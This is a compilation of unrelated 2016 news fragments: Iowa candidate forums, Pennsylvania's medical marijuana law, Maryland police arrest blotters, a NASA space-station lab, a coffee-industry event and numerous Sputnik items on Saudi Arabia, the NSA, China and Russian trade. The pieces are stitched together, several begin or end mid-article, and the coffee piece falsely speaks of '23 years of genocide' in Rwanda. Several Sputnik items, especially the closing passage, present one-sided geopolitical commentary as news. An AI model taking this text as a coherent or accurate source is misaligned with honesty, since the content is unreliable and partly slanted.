Multiple candidates campaigns said another debate hosted jointly by Des Moines TV station KCCI and The Des Moines Register is being planned for Wednesday, June 1, just six days before the primary. The Des Moines Bureau was unable to confirm that immediately with officials from KCCI or The Register.

Four candidate forums have been scheduled:

-- Tuesday, May 3, at the Madison County Historical Museum in Winterset, hosted by the Madison County Democrats. All four candidates are expected to attend.

-- Wednesday, May 4, at the Northwest Community Center in Des Moines, hosted by the Beaverdale and East Des Moines Democrats, according to the Beaverdale Democrats Facebook page. All four candidates are expected to attend.

-- Thursday, May 12, at the Drake Community Library in Grinnell, hosted by the Poweshiek County Democrats. Hogg, Fiegen and Krause are expected to attend. Judge cannot attend because of a scheduling conflict, her campaign said.

-- Sunday, May 15, at First Christian Church in Des Moines, hosted by the political action committee STAR-PAC. All four candidates are expected to attend the forum, which will focus on foreign policy, military and migrant issues.
Pennsylvania legalizes medical marijuana and goes down in the history books as the 24th state in the U.S. to do so.

Surrounded by a jubilant crowd of supporters in the rotunda at the Capitol building in Harrisburg, Gov. Tom Wolf, signed the bill into law.

Signing the bill into law in the Commonwealth caps an arduous road that, in end, gained bipartisan support from the states Senate and House of Representatives.

In a statement captured by WPVI-TV of Philadelphia, Pennsylvania Sen. Daylin Leach said: We stopped being liberals and started being problem solvers, and we stopped being conservatives and started being compromisers, and we stopped being politicians and started being human beings.

Pennsylvania Legalizes Medical Marijuana

Wolf also took to Twitter saying:

We did it! Medical marijuana is now legal in Pennsylvania. #MMJ pic.twitter.com/NgLf0DQRMU  Governor Tom Wolf (@GovernorTomWolf) April 17, 2016

Once it is fully adopted  a process that might take 18-24 months  the bill will allow doctors to prescribe medical marijuana to patients with qualifying conditions in liquid, oil, ointment, pill or liquid form that can be vaporized and inhaled. Smoking will not be allowed.

There are 17 qualifying medical conditions covered by the bill and they include:

Amyotrophic Lateral Sclerosis

Epilepsy

HIV (Human Immunodeficiency Virus) / AIDS (Acquired Immune Deficiency Syndrome)

Huntingtons disease

Glaucoma

Multiple Sclerosis (MS)

Autism

Cancer

Crohns disease

Parkinsons disease

Post-traumatic Stress Disorder (PTSD)

Sickle Cell Anemia

Severe chronic or intractable pain of neuropathic origin

Inflammatory Bowel Syndrome (IBS)

Damage to the nervous tissue of the spinal cord with objective neurological indication of intractable spasticity

Intractable Seizures

Neuropathies

Per the new law in Pennsylvania, the state will allow up to 50 medical marijuana dispensaries.

Harrisburg Photo via Shutterstock

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There are many fitness goals out there that we desire. Some of us want to be leaner and others wish to put on muscle mass. The thing is, for you to achieve your fitness goals, you need to
LEONARDTOWN, Md.

Disclaimer: In the U.S.A., all persons accused of a crime by the State are presumed to be innocent until proven guilty in a court of law. See: http://so.md/presumed-innocence. Additionally, all of the information provided above is solely from the perspective of the respective law enforcement agency and does not provide any direct input from the accused or persons otherwise mentioned. You can find additional information about the case by searching the Maryland Judiciary Case Search Database using the accused's name and date of birth. The database is online at http://so.md/mdcasesearch . Persons named who have been found innocent or not guilty of all charges in the respective case, and/or have had the case ordered expunged by the court can have their name, age, and city redacted by following the process defined at http://so.md/expungeme.

(April 21, 2016)The Leonardtown Barrack of the Maryland State Police (MSP) today released the following incident and arrest reports.CDS/CONCEALED WEAPON: On Friday, April 1 at 9:19 pm, Tpr. Geyer initiated a traffic stop on a gold SUV at Route 235 and Route 246 for a minor traffic violation. A K9 scan was conducted, and the K9 alerted to the presence of CDS in the vehicle. A probable cause search was conducted, resulting in the recovery of CDS. Metal brass knuckles were also located in the vehicle., was arrested and charged with CDS: Not Marijuana and CDS Paraphernalia., was arrested and charged with Dangerous Concealment of a Weapon. Both subjects were transported to the St. Mary's County Detention Center and held pending a bond review with the District Court Commissioner. (16-MSP-012884)DRUG ARREST: On Saturday, April 9 at 12:09 am, Tpr. J. Mulhearn initiated a traffic stop on a black passenger car for a minor traffic violation. A probable cause search was conducted, resulting in the recovery of Dextroamphetamine and Marijuana less than 10 grams. The driver,, was placed under arrest and charged with CDS: Possess-Not Marijuana. He was also issued a civil citation for Possession of Marijuana Less than 10 grams. Mr. Libby was transported to the St. Mary's County Detention Center and held pending a bond review with the District Court Commissioner. (16-MSP-013890)ASSAULT: On Sunday, April 10 at 4:23 pm, TFC B. Ditoto responded to the area of Route 5 at Mt. Wolf Road for a reported assault. Investigation revealed that, got out his vehicle at the intersection and approached the driver side of another vehicle in an apparent road rage incident. He began threatening another driver with a knife. Mr. Gibson then approached a second vehicle and threatened the second driver with the knife and slammed his fist on the window. Mr. Gibson was located on Indian Creek Drive and placed under arrest for First Degree Assault and Second Degree Assault. He was transported to the St. Mary's County Detention Center and held pending a bond review with the District Court Commissioner. (16-MSP-014116)CDS ON SCHOOL PROPERTY: On Wednesday, April 13 at 7:36 pm, Cpl. Dawson responded to Lettie Marshall Dent Elementary School for the report of a suspicious subject possibly selling prescription CDS. Upon arrival, Cpl. Dawson observed the elementary school was hosting various youth sport practices. Cpl. Dawson made contact with an off-duty Charles County Sheriff's Office lieutenant who was standing with. The Lieutenant advised that he had observed Mr. Mitchell counting out pills then walking into the woods. A probable cause search was conducted, resulting in the recovery of several Acetaminophen and Oxycodone Hydrochloride pills, Alprazolam pills, and paraphernalia.Cpl. Dawson was informed that second suspect,, had returned to the area. Mr. Hoover was located, and a probable cause search was conducted, resulting in the recovery of Alprazolam, Suboxone, and paraphernalia with Alprazolam and Heroin residue. Mr. Hoover then admitted that he had provided Mr. Mitchell with Alprazolam pills.Both suspects were placed under arrest and charged with CDS Distribute: School Property. They were transported to the St. Mary's County Detention Center and held pending a bond review with the District Court Commissioner. (16-MSP-014602)DRUG ARREST: On Monday, April 18 at 11:56 am, Tpr. Mulhearn initiated a traffic stop on a bronze truck at Three Notch Rd and Market Drive for a minor traffic violation. A probable cause search was initiated, resulting in the recovery of 83.5 grams of suspected marijuana, paraphernalia and over $8,500 in US Currency. The driver,, was placed under arrest and charged with CDS: Possession Marijuana, Possession with Intent to Distribute, and two counts of Possession of Paraphernalia. He was transported to the St. Mary's County Detention Center and held pending a bond review with the District Court Commissioner. (16-MSP-015280)ASSAULT: On Thursday, April 21 at 6:48 am, Tpr. Mulhearn responded to the 41000 block of Church Street for a reported assault that had occurred on Lawrence Ave. The female victim advised that, had assaulted her with a knife and held her against her will since midnight. When Mr. Clarke turned his back, the victim fled the residence and went to a friend's house to call the police. Mr. Clarke was located and placed under arrest. He was charged with First Degree Assault, Second Degree Assault, and False Imprisonment. Mr. Clarke was transported to the St. Mary's County Detention Center and held pending a bond review with the District Court Commissioner. (16-MSP-015643)Kerri Marie Hall, 34, of Piney Point, charged with Theft Less than $1,000 at Kohl's on 4/8/2016Nicole Anne Kelly, 30, of Lexington Park, charged with Theft Less than $1,000 at Wal-Mart on 4/11/2016
LEONARDTOWN, Md.

Disclaimer: In the U.S.A., all persons accused of a crime by the State are presumed to be innocent until proven guilty in a court of law. See: http://so.md/presumed-innocence. Additionally, all of the information provided above is solely from the perspective of the respective law enforcement agency and does not provide any direct input from the accused or persons otherwise mentioned. You can find additional information about the case by searching the Maryland Judiciary Case Search Database using the accused's name and date of birth. The database is online at http://so.md/mdcasesearch . Persons named who have been found innocent or not guilty of all charges in the respective case, and/or have had the case ordered expunged by the court can have their name, age, and city redacted by following the process defined at http://so.md/expungeme.

(April 21, 2016)The St. Mary's County Sheriff's Office today released the following incident and arrest reports.4/7/2016 THEFT: Corporal D. Corcoran responded to the Best Buy in California for the report of a theft. The suspect,, attempted to exit the store with merchandise that was not purchased. Johnson was transported to the St. Mary's County Detention Center and charged with Theft Less than $100. CASE# 18305-16.4/12/2016 CONCEAL DANGEROUS WEAPON: Dep. R Steinbach initiated a traffic stop for a vehicle operating above the posted speed limit. The operator of the vehicle,, attempted to elude the deputy by pulling into a driveway. Townsend was placed under arrest and a probable cause search revealed a dangerous weapon. Townsend was placed under arrest and charged with Conceal(ing) Dangerous Weapon. CASE# 19341-16.4/12/2016 ASSAULT: Deputy V. Pontorno responded to the area of Flower Drive and Missouri Drive for the report of a large crowd and ongoing fight involving several people. While still on the scene interviewing, the suspect,, struck a victim with a truck. Further investigation revealed, Dyson's Maryland license was suspended. Dyson was placed under arrest and charged with Second Degree Assualt, Driving on Suspended License, Displaying Suspended, and Fail to Control Speed to Avoid Crash. CASE# 19328-16.4/13/2016 THEFT: The suspect,, attempted to steal merchandise from the Walmart in California. When approached by security, the suspect handed the items to the guard and fled on foot. A short time later, the suspect was located by Deputy T. Siciliano. The investigation revealed she was previously served a notice not to trespass the business. Phares was placed under arrest and transported to the St. Mary's County Detention Center. She was charged with Theft Less than $100 and Trespass Private Property. CASE# 19471-16.4/13/2016 POSSESSION: Deputy Flerlage responded to the St. Mary's County Detention Center for the report of recovered contraband. The investigation revealed the suspect,, attempted to conceal suspected chewing tobacco. Culvert was charged with Possession of Contraband in a Place of Confinement. CASE# 19470-16.4/13/2016 ASSAULT: The suspect,, was placed under arrest by deputies from the Lexington Park COPs unit for causing a disturbance at multiple locations throughout Lexington Park while under the influence of suspected alcohol. During a search, the suspect pinched and scratched the deputy who was restraining her. She was asked several times to stop resisting arrest, but failed to comply and attempted to the kick the deputy. During the arrest, deputies located stolen merchandise from a previous location where Weems was reportedly causing a disturbance. Weems was transported to MedStar St. Mary's Hospital for treatment. Upon her release, she was arrested and charged with Second Degree Assault on Law Enforcement Officer, Alcohol Beverage in Retail Area, Disorderly Conduct, Failure to Obery Lawful Order, Disturb the Peace, and Second Degree Assault. CASE# 19561-16.4/17/2016 INDECENT EXPOSURE, DWI: A lookout was broadcasted for possible drunk drivers heading southbound on Three Notch Road in the area of Oaks Road. The witness advised the operator stumbled out of the motor vehicle at the gas pumps and urinated. Cpl. E. O'Connor made contact with the operator of the vehicle, who appeared to be under the influence of suspected alcohol. Field sobriety tests were performed and the suspect,, was placed under arrest and charged with Indecent Exposure and Driving While Intoxicated. CASE# 20373-16.
LEONARDTOWN, Md.

(April 21, 2016)Police in St. Mary's Co. are searching for a woman who walked out of a local hospital after recent suicidal statements and a suicide attempt. Police have labelled Danielle Lynette Miranda, 31, of Bushwood, a "Critically Missing Person."Miranda was last seen leaving St. Mary's Hospital on Tuesday, April 19. She has a tattoo on her right arm that has an angel with "David" and a tattoo of "AJ" on her left arm.Miranda is also actively wanted by the St. Mary's County Sheriff's Office for Attempted First Degree Murder and Threat of Arson.Anyone with information as to the whereabouts of Danielle Miranda is asked to contact the Duty Officer at (301) 475-4040.She is 5'04" in height, weighs 180 lbs and has black hair and brown eyes.
Rep. Ted Deutch has been a major supporter of LGBT rights for many years. In fact, he says that he was born this way.

Im proud of my strong record of support for legislative efforts to bring full equality to the LGBT community, said the Congressman who as State Senator in 2007, got the first, and so far only, LGBT equality bill passed in committee in the Florida State Senate.

"This Congress I joined with Reps. Patrick Murphy and Suzanne Bonamici to introduce the Ruthie and Connie LGBT Elder Americans Act, named in honor of LGBT activists Ruthie Berman and Connie Kurtz, he said. Rep. Deutch is cautious about the future.

From the anti-LGBT initiatives weve seen in a number of states to the continued disproportionate homeless and suicide rates among LGBT people, we know that the fight is far from over, he said. There is more to do on a federal, state, and local level, and I am committed to working toward full equality.

Rand Hoch, president of the Palm Beach County Human Rights Council, said Rep. Deutch has been an outstanding supporter of LGBT equality for years. As State Senator, he managed to get a bi-partisan vote in the Commerce Committee for a gay rights bill, an astounding accomplishment.
WetLab-2 Sample Prep Module NASA

Biologists around the world routinely perform gene expression analysis to better understand living systems.

Gene expression analysis examines the types and amounts of molecules produced by genes in living cells, telling us which genes are active and which are inactive at a given point in time. This reveals valuable information about the highly dynamic internal states of cells in living systems.

NASAs WetLab-2 hardware system is bringing to the International Space Station the technology to measure gene expression of biological specimens in space, and to transmit the results to researchers on Earth at the speed of light.

WetLab-2 is truly a first, said Macarena Parra, WetLab-2 project scientist at NASAs Ames Research Center in Californias Silicon Valley. Investigators using WetLab-2 will be able to analyze the first run of a spaceflight experiment and immediately apply what they learn to subsequent runs of the experiment during the same flight mission. It will allow us to accelerate the pace of research on the station while saving time and cost.

Currently, life science research aboard the space station must follow pre-set plans: A rocket carries the experiment into space, an astronaut follows the plan and then sends samples to Earth for analysis. If the post-flight analysis shows that something unusual or unpredicted occurred in space, the researcher will want to further study those phenomena, but this requires planning an entirely new experiment and waiting for an opportunity to fly it to the station.

WetLab-2 employs a standard method of measuring gene expression called Quantitative Polymerase Chain Reaction, or qPCR, which involves extracting certain types of ribonucleic acid (RNA) molecules from biological samples and then measuring the amounts extracted. RNA molecules are found inside cells, and they play key roles in the basic functions of living cells, such as making cellular proteins. Today, qPCR analysis is performed in many biology labs around in the world. The WetLab-2 system uses a commercially available instrument to perform the qPCR analysis on the space station.

Microgravity complicates even the simplest laboratory procedures, such as adding liquid to a test tube. Additionally, on the station, a complete pantry of chemicals is not available, and astronauts maintain a packed schedule. To address these constraints, the WetLab-2 team developed a new method to allow station crew members to extract RNA from multiple types of biological specimens in less than 30 minutes.

This innovative RNA extraction technology, currently in the patenting process, was a multidisciplinary effort of cell biologists, chemical engineers and mechanical engineers who designed the sample manipulation and processing chemistry, said Julie Schonfeld, WetLab-2 project manager at Ames.

WetLab-2 will enable a broad range of life science investigations in space, such as analysis of genes that indicate infectious disease, cell stress, changes in cell cycle growth and development, and genetic abnormality. Researchers also can use the system for real-time analyses of air, surface and water samples to monitor environmental conditions and crew health on the station.

The ultimate goal of the WetLab-2 system is to help humans live and work in space, said Schonfeld. This system will help researchers identify changes in gene expression. This can help us determine how to mitigate negative effects of spaceflight and add to our knowledge about how genes work.

The WetLab-2 system was developed at Ames and funded by the International Space Station Program at NASAs Johnson Space Center in Houston.

WetLab-2 launched April 8 aboard the eighth SpaceX cargo resupply mission to the space station. The goal of the first flight is to validate system performance. After successful completion of the validation study, WetLab-2 will be available to speed delivery of gene expression data to principal investigators on Earth for academic, commercial and NASA research.

The space station serves as the worlds leading laboratory where researchers conduct cutting-edge research and technology development that will enable human and robotic exploration of destinations beyond low-Earth orbit, including asteroids and Mars.

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Its a tendencyas a writer or a human beingto view coffee almost entirely on the micro-level. We see coffee shops and baristas and sometimes, maybe, we see a roaster or a bag of beans artfully arranged in some corner. For the most part though our interactions with coffee become intimately tied to the end productthe taste of the espresso, the look of the foam, the service provided by the barista, and so on. Even as new wave coffee companies seek to educate and inform both staff and customers about the importance of the farmer or the collective that brings this coffee to our cups, more often than not these crucial parts of the supply chain are a flicker of a thought as we slurp down our morning brew.

And thats why events like Producer, Importer, Roaster & Barista: An Evening Connecting The Industry matter so very much. Held on April 8th at Counter Counter Coffees massive Emeryville space but hosted by Royal Coffee and Fair Trade USA, the event brought together a handful of producers from the major coffee producing companies to discuss the larger picture of what coffee means. It was an eye-opening evening, one that showcased just how far coffee has come, and just how much farther we need to go.

Though each of the three main speakersIsabel Uriarte from Perus CECANOR, Christian Soto from Colombias FNC, and Gilbert Gatali from Rwandas KZ Noirspoke on a similar themethe importance of the coffee growing industry in their country and how Fair Trade has assisted in building that industryeach addressed it from a different vantage point. Uriarte, speaking through a translator, discussed the opportunities that Fair Trade certified coffee has given to the women of Peru. She spoke of starting CECANOR in the early 1980s with only eight women and that now, 40 years later, with the help of Fair Trade, the country has been able to address key issues like sexual harassment and gender inclusion and that today of the six state run coffee co-ops operating in Peru, two are run by women.

By helping women recover their inherited land, traditionally legally owned by a man, theyve provided an industry that helps women not only to establish consistent employment for themselves, but helps to return the concepts of self-esteem and power to the women of Peru. As Uriarte said to the attentive crowd, We understand that women need to be involved directly. We understand that they need to be kept involved. The market is the instrument for change. Uriarte and her organization have helped keep a focus on the nutritional needs of children in Peru. Theyve built 14 community centers staffed by nurses and school teachers, whose sole purpose to educate and assist on the topic of nutrition.

Though all involved shone a different sort of light on what coffee at the origin level means on the larger scale, it was Gilbert Gatali who hammered the point home. Gataliprofiled previously on Sprudgeimplored the audience to stop thinking of coffee as a single drink or a bean or a bag, but rather, this product that has become so important to us is the very last step on an epic journey, from farm to exporter to importer to roaster, assisted by millions of hands. And where in America, or in countries like it, when we serve coffee, it is most often our own choice to enter the world of coffee and to stay a part of it, in places like Rwandaplaces that are financially dependent on the sales of coffee beansstaying in the industry isnt a choice, its a livelihood, a means of survival. As Gatali said, Farmers [in Rwanda] dont have a lot of alternatives.

He spoke of the 23 years of genocide that pitted countrymen against countrymen, that killed hundreds of thousands and left a long, jagged wound through the Rwandan community. When you go through something like that, he said, you start at ground zero. And after the genocide, when coffee was one of the main exports, its resurgence came in a new light. With the help of Fair Trade, Gatali and KZ Noir were able to place certified washing stations to provide much needed employment for a population still reeling from two decades of violence.

At the washing stations, Gatali said to the gathered crowd, you might have one side of the table be the perpetrator of violence and at the other the victims, but they would still have to work together, to live together, to deal with whatever challenges you have to deal with as a community. Coffee contributed to people being reunited. For Gatali, and for Rwanda, coffee is more than a product to be sold, its a unifying force, a healing salve, a building block of a new foundation for a country no longer held down by the lingering shadow of terror.

In the panel discussion hosted by Counter Cultures Katie Carguilofeaturing a variety of representatives from each step of the supply chainthe less savory aspects of coffee production and sales came to light. It was Gatali who once again drew a laser-fine focus on the issues facing farmers, discussing how difficult it is year after year for coffee producers to make ends meet, and how its becoming harder and harder for coffee producers to find reasons to continue onwards. It is only because of the hard work of companys like Gatalis KZ Noir that many of these producers are able to survive each year. It is, to some degree, up to the consumer side of the coffee equation, to come up with a solution, or solutions, to benefit those on the other end, those who provide the core ingredient of a thriving industry, but are just barely getting by. As Ben Corey-Moran stated, How do we use capitalism to fix capitalism?

Answers like these are not found in one evening. But it is evenings like this that give the purveyors of specialty coffee the wider tapestry, a view, scant as it might be, look into the world that we depend on, but rarely actually consider. It is evenings like these that increase the very worth of the coffee we enjoy every day. It is evenings like these that we need more of.

Noah Sanders (@sandersnoah) is a Sprudge.com staff writer based in San Francisco, and a contributor to SF Weekly, Side One Track One, and The Bold Italic. Read more Noah Sanders on Sprudge.
The Saudis, Draitser continued, have zero motivation to change their position vis-a-vis the Iran nuclear agreement because they are waiting for Obama to exit and hoping Hillary Clinton will take over the White House.

"Hillary Clintons loyalties are not even in question here  she is unabashedly pro-Saudi," Draitser claimed. "[The Saudis] are banking on a Hillary Clinton presidency in January of 2017, and that they will be able to make whatever moves they can to undermine the Iran deal, at that time."

Middle East Institute analyst Thomas Lippman told Sputnik that he did not see any visible accomplishments emanating from Obamas visit to Saudi Arabia.

"I still can't figure out why Obama went there in the first place," Lippman admitted.

Some of Riyadhs hurt feelings might have been assuaged, he added, but he did not see "a meeting of the minds on the issues" between Obama and the Saudis.

According to a communique issued after Thursdays summit in Saudi Arabia, the United States and GCC agreed to conduct joint military drills in 2017 and enhance cooperation on counterterrorism training.
Boyle told Sputnik this pattern of almost unrestricted permissiveness for the NSA would not shock or surprise Congress since the courts had been set up to give the US security agencies a free hand.

"They were set up by Congress as kangaroo courts to give a stamp of approval on whatever unconstitutional activities the NSA may choose to do against the American people," Boyle explained.

Boyle pointed out that the FISC and its Court of Appeals swept aside constitutional safeguards that had been in place for almost 230 years to protect the civil rights of Americans.

He noted that the courts violate the Fourth Amendment to the Constitution of the United States to protect the American people against unconstitutional searches.

"I do not see how any US federal judge can in good conscience serve in good faith on either of those courts and gut and eviscerate the US Constitution," Boyle said.

US judges who had taken their oath to uphold the US Constitution, Boyle argued, deserved to face legal proceedings for the very act of agreeing to sit on either of the surveillance oversight courts.

"I believe judges who serve on those two courts should be impeached for subverting and gutting the Constitution of the United States," he opined.

US historian and author James Bovard who specializes in studies of government abuse of power and corruption was equally critical about the FISC and its Appeals Court.
However, behind the hedonist and materialist values and images cultivated by the media, ordinary Americans experienced a very different and darker reality, Grosscup maintained.

They are treated as terrorist suspects, fear mongered at every opportunity and seen as disposable hostages in service to the US war machine, backed by a compliant corporate media and increasingly privatized state institutions, he pointed out.

Former US diplomat and former adviser to Republicans in the US Senate Jim Jatras agreed, telling Sputnik that the US National Security State or Deep State continued to make inroads into American civil liberties behind the mask of reassuring legislation and institutions like the FISC.

The US establishment is entirely controlled by the neoconservatives in the GOP and liberal interventionists in the Democratic party. They have no other way of looking at the world except through an ideological lens, through which the United States is the only authoritative, fully sovereign power, he explained.

Even famous and leading political figures in the United States served as little more than public front-men and front-women for the security services and other institutions, Jatras argued.

The Bush and Clinton families are simply the leading masks of the Deep State. They no more control it than the families of the leading officials of the Brezhnev era controlled the Soviet nomenklatura, the Deep State has many water-carriers who will do its bidding, he said.

However, the widespread public support for the political insurgencies of Donald Trump and Senator Bernie Sanders in the Republican and Democratic parties showed that while the old Deep State establishment was still in charge, it also faced new rising domestic threats, he said.
Speaking at a transport conference in Norway on Thursday, Musk said that his company is developing something which is not exactly a bus but would solve the density problem for inner city situations. He added that the new project is an autonomous vehicle that could solve high-density urban transport issues in modern-day cities.

Theres a new type of car or vehicle that would be great for that and thatll actually take people to their final destination and not just the bus stop, Musk said, declining to provide additional details. I dont want to talk too much about it. I have to be careful what I say.

Gizmondo news outlet speculated that the project could be a self-driving bus in the image and likeness of the Tesla van concept, giving share rides for citizens in crowded cities. Last August Musk heated up speculation of a possible ride-sharing service by Tesla Motors, suggesting that electric cars could be engaged in such a venture.
Russian Minister of Natural Resources and Ecology Sergey Donskoy invited Hollywood star and eco-defender Leonardo DiCaprio to come to Russia in 2017; President Vladimir Putin had previously declared this to be the Year of Ecology in the country, according to RIA Novosti

"Next year will see a whole array of relevant events for DiCaprio to take part in and make a greater effort to protect certain species of animals," Donskoy told reporters.

In March 2016, Donskoy invited DiCaprio to Moscow to discuss preserving the saiga antelope population.
The incident occurred during the early hours of April 14 in the Latvian city of Daugavpils, as a man named Sergei returning home after partying with his friends was suddenly beset by a very aggressive beaver.

The beaver immediately latched onto Sergeis left leg and started gnawing on it, stubbornly resisting all attempts to drive him away. Eventually the angry creature managed to wrestle his victim to the ground and, peculiarly, immediately ceased his assault. Nevertheless, the beaver remained sitting next to his prone victim, resuming attacks each time the man attempted to get up, according to Delfi news portal.

While lying prone, Sergei managed to reach for his cellphone and dial the emergency services, but his call for help was dismissed as a prank, prompting the injured man to seek aid from his friend.
On Wednesday, Pakistan's Minister of State for Federal Education Muhammad Balighur Rehman attended the 4th Annual Day organized by Al Huda International School at Pak-China Friendship Centre, where he announced that the government was making efforts to implement the plan.

"This process would be initiated after consulting all the provinces through the platform of Inter-Provincial Education Minister's Conference (IPEMC)," the minister said.

Rehman explained that the initiative is aimed at encouraging children to "research and explore different subjects, fields, and ideas."


BEIJING (Sputnik)South Korea's Special Representative for Korean Peninsula Kim Hong-kyun arrived to Beijing on Friday to discuss the situation on the peninsula with his Chinese counterpart Wu Dawei, China's Foreign Ministry said.

"The Special Envoy of South Korea Kim Hong-kyun arrived in China to meet with the special representative of the Chinese government for Korean Peninsula Wu Dawei and to exchange opinions on the situation on the Korean peninsula," the ministry's spokeswoman, Hua Chunying, said Friday.

Hua also voiced her hopes that cooperation between China and South Korea might contribute to the resolution of the situation on the Korean Peninsula.
The construction of China's first maritime nuclear power platform in the South China Sea is due to be completed by 2018 and be put into operation by 2019, the Chinese newspaper Global Times reported.

The newspaper quoted analysts as saying that such a platform could boost the efficiency of China's ongoing construction work on islands in the South China Sea considerably.

In a recent interview with the Global Times, Liu Zhengguo, head of the general office of the China Shipbuilding Industry Corporation (CSIC) which is responsible for designing and assembling the platforms, said that the CSIS is "pushing forward with the work."
China has a consumption-driven path towards greater growth, which gives it an advantage over other global economies . The new trajectory could be worth an extra $5 trillion by 2030, Jonathan Woetzel, a researcher specializing in Chinese economic trends for McKinsey & Company, wrote on Tuesday in Project Syndicate.

"If China carries out a sustained, comprehensive effort to raise productivity, it can address its growth challenges, reduce the risks of financial crisis, and complete its transition to a consumption-driven, high-income economy with a large and affluent middle class. If it does, its annual GDP could be an estimated $5 trillion larger by 2030 than it is likely to be if policymakers continue to pursue investment-led growth," Woetzel wrote.
"The human race may still have a long way to go before we can colonize space but before that, we have to figure out whether it is possible for us to survive and reproduce in outer space like we do on Earth," Enkui told Chinese media.

Satellite images showed that the embryos had matured into structures scientifically referred to as blastocysts.

"This represents an important milestone in human space exploration. One small step for mouse embryos, one giant leap for human reproduction," Aaron Hsueh, professor of reproductive biology said.

The last time mouse embryos were sent into space was on a NASA spacecraft in 1996; however none of the 49 cells showed any signs of developing.

A decade later, China sent four embryos into orbit. High resolution pictures revealed that they didn't die  but they didn't grow either.
The patient later underwent a heart transplant. Now, with a new heart inside him, he is making a steady recovery and is leading a normal life.

"I feel I have got a new lease of life," Thaker said.

"Miracles like these are rare. Even in a hospital setting there is a 15% possibility of survival after a cardiac arrest. If he was not admitted, his chances of being alive today would be zero," said Dr. Suresh Rao, Chief of Cardiac Anesthesia and Critical Care at Fortis Malar Hospital.

"We have increasingly started using ECPR for 'in hospital' cardiac arrest with very good outcomes and are exploring the possibility of extending it to other locations, including outside the hospital, as is done in a few places around the world, like Japan, San Diego and Taiwan," Dr. Balakrishnan said.
"Syrias turmoil came about as the result of a population of only 20 million or so people. Just imagine what it would be like for the Korean peninsula with [roughly] 80 million?" the editorial read.

"With inadequate economic, military, technological and management capability, should there be any nuclear leaks, like those that occurred in Japanwhat would happen to northeastern Chinas security?"

The editorial was later removed.

Earlier on Friday, Beijing announced that it planned to meet with South Korean officials regarding security concerns.

"The Special Envoy of South Korea Kim Hong-kyun arrived in China to meet with the special representative of the Chinese government for Korean Peninsula Wu Dawei and to exchange opinions on the situation on the Korean Peninsula," said Chinas Foreign Ministry spokeswoman Hua Chunying.


MOSCOW (Sputnik)The global demand for Russian weaponry after military operations in Syria has exceeded the supply, the deputy director of the Russian Federal Service for Military-Technical Cooperation said Friday.

Demand on the global market for Russian weapons currently exceeds supply. We have very strict [Russian] state orders and we cannot satisfy some of the requests from our potential foreign customers right now, Anatoly Punchuk told RIA Novosti.

He said that the rise in the demand for Russian arms happened after Russian Aerospace Forces operations in Syria.
Earlier this month, it was reported that the pilot project was stuck at the Kazakh-Chinese border due to a lack of prospective clients ready to fill it with cargo. The train had originally been scheduled to return to Ukraine at the end of March at the latest.

On April 7, Ukrainian Railways reported that the train, still empty of cargo, had left Dostyk, southeastern Kazakhstan, to make the journey back home to Ukraine. A company spokesman explained that Ukrainian and Chinese companies already have a well-established and reliable system of logistics for goods coming to Ukraine from China.


WASHINGTON (Sputnik)The United States has approved the sale of 254 rolling airframe missiles to the government of Qatar, the US Defense Security Cooperation Agency said in a press release on Friday.

"This proposed sale will provide Qatar with military capabilities to protect its naval forces and nearby oil/gas infrastructure from air and missile threats," the release explained. "Qatar will have no difficulty absorbing these missiles into its armed forces."

The small, lightweight missiles that are used by several US allies contain infrared homing for guidance to targets, and are so named because they rotate in flight, much like a bullet fired from a rifle.
Ultimately, PolitRussia writes, this "officially designated state policy has opened up new opportunities, in particular for the ports of Vyborg, Ust-Luga, Primorsk, Vysotsk," while putting the interests of the ports in Estonia, Latvia and Lithuania in jeopardy.

According to officials from the Russian transport ministry, the last five years have seen yearly growth in capacity of an average of 20 tons per year among the country's ports, with 2016 capacity expected to grow by another 32 million tons.

Last year, total turnover at the Ust-Luga port grew to 75.6 million tons, the highest figure in the Baltic region. The ultimate goal is to grow it to 170-180 million tons per year, most of it transit redirected from the Baltic states.

"For the economies of the Baltic, this maneuver will hit hard," PolitRussia notes. "In Latvia, for example, transit accounts for 12-13% of the country's GDP, with 80% of it transit of cargo coming from the east. The Ministry of Transport has already calculated the material losses in case of the loss of Russian transit, with the Latvian budget losing 1.6 billion euros."

At the same time, the online paper notes, only manufacturers and financiers seem worried. "The political elite in Latvia, Estonia and Lithuania continues to enthusiastically saw away at the tree branch they're sitting on, choking from their own Russophobia. For them, the ports and railways are, in the first place, a 'legacy of occupation', and secondly, pose a risk of an 'economic fifth column'. And it really is frightening that such large numbers of workers have a vested interest in constructive and mutually beneficial relations with Russia."

Last year, Russia committed nearly 28 billion rubles (about $426 million US) to improving port infrastructure. "A large part of this money," PolitRussia writes, "could have gone to the Baltic countries, were they to keep up normal business relations with Russia. But it was not to be; the desire to curry favor with the West, and the Russophobia nurtured over many years, has led to multimillion dollar losses. Russia has learned to penalize Russophobia through the ruble."
MOSCOW (Sputnik)  Investors from Kuwait are invited to take part in investing in priority development areas (PDA) in the Russian Far East.

"We propose cooperating with another Russian sovereign fund, the Far East Development Fund, and invite Kuwaiti investors to consider and take advantage of the unique investment opportunities created in the Far East, the free port of Vladivostok," Galushka said.
MOSCOW (Sputnik)  Earlier in the day, it was revealed that the KPC was in talks with Russia's gas company Novatek about the deliveries of LNG from Russia to Kuwait.

"We are planning to purchase up to 1.5 million tonnes annually," Saleh told RIA Novosti, answering a question about Kuwaiti interest in Russian LNG.

At the moment, Novatek is implementing a number of LNG projects, including construction of an LNG production plant in the Yamal Peninsula, further to the east along the Russian Arctic coast, with another LNG factory to be constructed in the Gydan Peninsula.
MOSCOW (Sputnik)  Russia's state-owned company Russian Railways has been in talks on its possible participation in construction of a 106-mile railway in Kuwait, a protocol of Fridays fifth Russian-Kuwait intergovernmental commission stated.

"The Joint Stock Company Russian Railways is in talks to participate in the construction of a 170-kilometer [106-mile] railway running from the border with the Kingdom of Saudi Arabia to the south of Kuwait," the document read.

The railway will be part of the railway network of the Cooperation Council of Arab States of the Gulf (GCC), which comprises Saudi Arabia, Kuwait, the United Arab Emirates, Qatar, Bahrain and Oman, according to the document.
Today, what is the basis for American hostility towards Russia or China? There is negligible justification for American belligerence other than specious claims about Russian and Chinese aggression. The reality is that the aggression is one-sided American conduct.

Arguably, it is about trying to preserve US hegemony and maintaining a unipolar world of American dominance in the face of an emerging multipolar world. A world in which a resurgent Russia and China are deemed to be threats  not in terms of being actual existential enemies, but simply because they are legitimate rival powers. The trouble with monopoly power is that any diminution is seen by those who wield such dominance as an unacceptable threat.

